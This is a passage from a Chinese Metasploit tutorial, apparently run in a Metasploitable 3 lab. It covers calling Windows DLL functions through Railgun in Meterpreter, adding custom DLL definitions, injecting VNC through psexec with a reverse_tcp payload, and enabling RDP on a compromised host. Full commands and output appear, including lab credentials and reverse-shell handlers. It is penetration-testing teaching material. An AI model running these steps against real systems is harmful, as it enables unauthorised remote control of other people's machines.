=> "\e[1m\e[31m[-]\e[0m message\n"  
//此调用用于显示脚本执行期间可能出现的错误信息,以[-]为前缀

之所以要讨论这些不同的打印调用的原因是它们在编写Meterpreter脚本时被广泛使用。你可以在/usr/share/metasploit-framework/documentation中找到与Meterpreter API相关的文档。阅读它们以获得清晰和详细的理解。你还可以参考/usr/share/metasploit-framework/lib/rex/post/meterpreter,其中包含许多与Meterpreter API相关的脚本。这些脚本中包含各种 Meterpreter 核心、桌面交互、特权操作以及更多命令。查看这些脚本以更好的理解 Meterpreter 是如何在受感染的系统中运行的。

# 18、Railgun-将Ruby转换为武器

在之前的教程中,我们了解了使用Meterpreter API运行Ruby脚本的方法。让我们更进一步。假设我们想在受害者机器上进行远程API调用,最简单的方法是什么?Railgun就是显而易见的答案。它是一个Meterpreter扩展,允许攻击者直接调用DLL函数。通常情况下,它被用于对Windows API进行调用,但我们也可以调用受害者机器上的任何DLL文件。

要使用Railgun,首先需要获得一个meterpreter会话,然后使用irb启动ruby shell

meterpreter > irb 
[*] Starting IRB shell...
>> 

在调用DLL之前,我们需要先了解使用Railgun需要遵循哪些基本步骤:

1、确定你要调用的函数

2、你可以在微软的文档中找到这些函数https://learn.microsoft.com/en-us/previous-versions//aa383749(v=vs.85)?redirectedfrom=MSDN

3、检查包含该函数的库文件(DLL)(比如kernel32.dll)。所选的库函数可以被调用。(client.railgun.dll_name. function_name(arg1, arg2, ...)

4、Windows MSDN 文档库可找到要在目标机器上调用的有用 DLL 和函数

5、使用API调用收集有关目标的信息

>> self.sys.config.sysinfo
=> {"Computer"=>"METASPLOITABLE3", "OS"=>"Windows 2008 R2 (Build 7601, Service Pack 1).", "Architecture"=>"x64", "BuildTuple"=>nil, "System Language"=>"en_US", "Domain"=>"WORKGROUP", "Logged On Users"=>2}
>> 

6、获取系统版本信息

>> self.sys.config.sysinfo['OS']
=> "Windows 2008 R2 (Build 7601, Service Pack 1)."

使用 Railgun 是一种非常强大和令人兴奋的体验。你可以练习自己的调用和脚本来分析输出。但是,如果要调用的 DLL 或函数不是 Railgun 定义的一部分怎么办?在这种情况下,Railgun 还提供了向 Railgun 添加你自己的函数和 DLL 的灵活性。我们将在下节中学习。

# 工作原理

RailgunMeterpreter的扩展,它允许我们调用Windows API而无需编译自己的DLL。 Railgun可用于对受攻击目标进行远程DLL调用。 远程DLL调用是渗透测试中重要的过程,因为它们使我们能够控制被攻击目标并以完全特权执行任何系统指令。

其他

Railgun 目前支持十多种不同的 Windows API DLL。你可以在以下目录中找到它们的定义:

$ ls -al /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows 
total 2712
drwxr-xr-x 2 root root    4096 Mar 21 17:25 .
drwxr-xr-x 5 root root    4096 Aug  8  2022 ..
-rw-r--r-- 1 root root 2425849 Feb 24 00:02 api_constants.rb
-rw-r--r-- 1 root root   67598 Feb 24 00:02 def_advapi32.rb
-rw-r--r-- 1 root root     681 Feb 24 00:02 def_crypt32.rb
-rw-r--r-- 1 root root     649 Feb 24 00:02 def_dbghelp.rb
-rw-r--r-- 1 root root    2296 Feb 24 00:02 def_iphlpapi.rb
-rw-r--r-- 1 root root  107873 Feb 24 00:02 def_kernel32.rb
-rw-r--r-- 1 root root    5315 Feb 24 00:02 def_netapi32.rb
-rw-r--r-- 1 root root    5355 Feb 24 00:02 def_ntdll.rb
-rw-r--r-- 1 root root     638 Feb 24 00:02 def_psapi.rb
-rw-r--r-- 1 root root     656 Feb 24 00:02 def_shell32.rb
-rw-r--r-- 1 root root     517 Feb 24 00:02 def_spoolss.rb
-rw-r--r-- 1 root root   81040 Feb 24 00:02 def_user32.rb
-rw-r--r-- 1 root root     962 Feb 24 00:02 def_version.rb
-rw-r--r-- 1 root root    2626 Feb 24 00:02 def_winspool.rb
-rw-r--r-- 1 root root    2673 Feb 24 00:02 def_wlanapi.rb
-rw-r--r-- 1 root root    3690 Feb 24 00:02 def_wldap32.rb
-rw-r--r-- 1 root root   16640 Feb 24 00:02 def_ws2_32.rb
# 19、向Railgun中添加DLL和函数定义

在上一节中,我们学习了通过Railgun调用自带的Windows api dll。本节我们将学习如何添加自定义的DLL和函数定义。相关文档:https://www.rubydoc.info/github/rapid7/metasploit-framework/Rex/Post/Meterpreter/Extensions/Stdapi/Railgun/Railgun

Railgun中添加新的DLL定义非常简单,只需要在对应的系统架构文件中添加def_dllname.rb文件即可

$ ls -al /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/       
total 20
drwxr-xr-x 5 root root 4096 Aug  8  2022 .
drwxr-xr-x 4 root root 4096 Mar 21 17:25 ..
drwxr-xr-x 2 root root 4096 Mar 21 17:25 linux
drwxr-xr-x 2 root root 4096 Mar 21 17:25 osx
drwxr-xr-x 2 root root 4096 Mar 21 17:25 windows                                             

比如添加Windows平台下的DLL定义,在windows路径下添加文件

$ ls                                                                                                   
api_constants.rb  def_dbghelp.rb   def_netapi32.rb  def_shell32.rb  def_version.rb   def_wldap32.rb
def_advapi32.rb   def_iphlpapi.rb  def_ntdll.rb     def_spoolss.rb  def_winspool.rb  def_ws2_32.rb
def_crypt32.rb    def_kernel32.rb  def_psapi.rb     def_user32.rb   def_wlanapi.rb
                                                                                                                                                
┌──(kali㉿kali)-[/usr/…/stdapi/railgun/def/windows]
└─$ vim def_some.rb
$ cat def_some.rb    
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def

class Def_somedll

  def self.create_dll(dll_path = 'somedll')
    dll = DLL.new(dll_path, ApiConstants.manager)

    # 1st argument = Name of the function
    # 2nd argument = Return value's data type
    # 3rd argument = An array of parameters
    dll.add_function('SomeFunction', 'DWORD',[
      ["DWORD","hwnd","in"]
    ])

    return dll
  end
end
end; end; end; end; end; end; end
                                                                                                                                                
┌──(kali㉿kali)-[/usr/…/stdapi/railgun/def/windows]

1、首先,将原DLL定义文件备份,这里以def_shell32.rb为例

$ sudo mv def_shell32.rb def_shell32.rb.bak

2、打开进行编辑,要编写 DLL 定义,首先要指定使用的模块

# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def

3、然后,是类和 DLL 的位置

class Def_windows_shell32
 
	def self.create_library(constant_manager, library_path = 'shell32')
		dll = Library.new(library_path, constant_manager)

4、下一步是向DLL定义中添加函数。如果您查看Metasploit中的def_shell32.dll脚本,您会发现IsUserAnAdmin函数已经被添加到其中:

dll.add_function('IsUserAnAdmin', 'BOOL', [])

该函数只会返回一个布尔值,取决于条件是真还是假。同样地,我们可以在 shell32.dll 中添加自己的函数定义。

最终的代码如下:

# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
  
class Def_windows_shell32
 
  def self.create_library(constant_manager, library_path = 'shell32')
    dll = Library.new(library_path, constant_manager)
    dll.add_function('IsUserAnAdmin', 'BOOL', [])
    
    return dll
  end

end

end; end; end; end; end; end  
# 工作原理

要列出DLL定义shell32.dll的可用函数,可在meterpreter会话中查看

>> self.railgun.shell32.functions
=> {"IsUserAnAdmin"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::LibraryFunction:0x00007fd7c497d9e0 @calling_conv="stdcall", @params=[], @remote_name="IsUserAnAdmin", @return_type="BOOL">}   

如你所见,现在我们有IsUserAnAdmin函数可用。

调用函数并分析输出的内容

>> self.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>true}
>> 

该函数返回了true,表示我们的会话正在以系统管理员身份运行。Railgun为我们提供了灵活性,可以轻松执行那些没有以模块形式存在的任务。因此,我们不仅局限于框架提供给我们的脚本和模块;事实上,我们可以按需调用它们。

以上只是一个简短的演示,你可用根据需要,将Railgun作为一个强大的工具来调用Windows APIs。你可以在MSDN文档库中寻找各种有用的Windows API调用,并将它们添加到Railgun中以增强你的框架功能。它可以用来调用驻留在目标机上的任何DLL

# 20、注入VNC服务

虚拟网络计算 (VNC) 是一种图形桌面共享系统,它使用远程帧缓冲区 (RFB) 协议远程控制另一台计算机。

我们可以使用Metasploitvnc 注入payload。在本节中,我们将学习如何注入VNC

必须在主机系统上安装VNC查看器,才能接收目标系统的VNC会话。在本节中我们将使用kali系统自带的vnc viewer

使用windows/vncinject/reverse_tcp  payload 进行vnc注入

msf5 > use exploit/windows/smb/psexec
smsf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.91.133
RHOSTS => 192.168.91.133
msf5 exploit(windows/smb/psexec) > set SMBUSER Administrator
SMBUSER => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPASS vagrant
SMBPASS => vagrant
msf5 exploit(windows/smb/psexec) > set payload windows/vncinject/reverse_tcp
payload => windows/vncinject/reverse_tcp
msf5 exploit(windows/smb/psexec) > set LHOST 192.168.91.135
LHOST => 192.168.91.135
msf5 exploit(windows/smb/psexec) > exploit 

[*] Started reverse TCP handler on 192.168.91.135:4444 
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (401920 bytes) to 192.168.91.133
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.

注入成功后,攻击机将会收到一个 vnc 会话

image-20230323111140691

# 21、启用远程桌面

使用 vnc 桌面可能会触发警报,这就需要我们尝试使用系统自带的远程桌面。

1、为了测试,首先在 Metasploitable 3 上禁用远程桌面。

image-20230323111434147

2、获取一个 Meterpreter 会话

msf6 exploit(windows/smb/psexec) > exploit 

[*] Started reverse TCP handler on 192.168.91.128:7777 
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.91.133
[*] Meterpreter session 4 opened (192.168.91.128:7777 -> 192.168.91.133:63161) at 2023-03-23 11:16:20 +0800

meterpreter > 

3、使用meterpreter自带的脚本getgui启用目标系统的远程桌面,使用run getgui -e启用远程桌面并且不会创建新用户。

meterpreter > run getgui -e

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] 	RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] 	The Terminal Services service is not set to auto, changing it to auto ...
[*] 	Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20230323.4137.rc

tips:在新版的msf中,该脚本已经由 post/windows/manage/enable_rdp模块替代。

4、然后使用rdp连接工具进行连接

rdesktop 192.168.91.133-u Administrator

image-20230323112453320

# 工作原理

在使用run getgui -e的时候,会看到一条输出警告[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.,告诉你该脚本已经被弃用了。已由单独的后渗透模块取代。

如果要使用enable_rdp后渗透模块,首先将meterpreter会话切换到后台,然后加载enable_rdp后渗透模块,设置相应的参数,然后选择会话id即可。

meterpreter > bg
[*] Backgrounding session 4...
msf6 exploit(windows/smb/psexec) > use post/windows/manage/enable_rdp 
msf6 post(windows/manage/enable_rdp) > show options 
msf6 post(windows/manage/enable_rdp) > set SESSION 4
SESSION => 4
msf6 post(windows/manage/enable_rdp) > exploit 

[*] Enabling Remote Desktop
[*]     RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]     Terminal Services service is already set to auto
[*]     Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20230323120156_default_192.168.91.133_host.windows.cle_382804.txt
[*] Post module execution completed

网站公告

今日签到

点亮在社区的每一天
去签到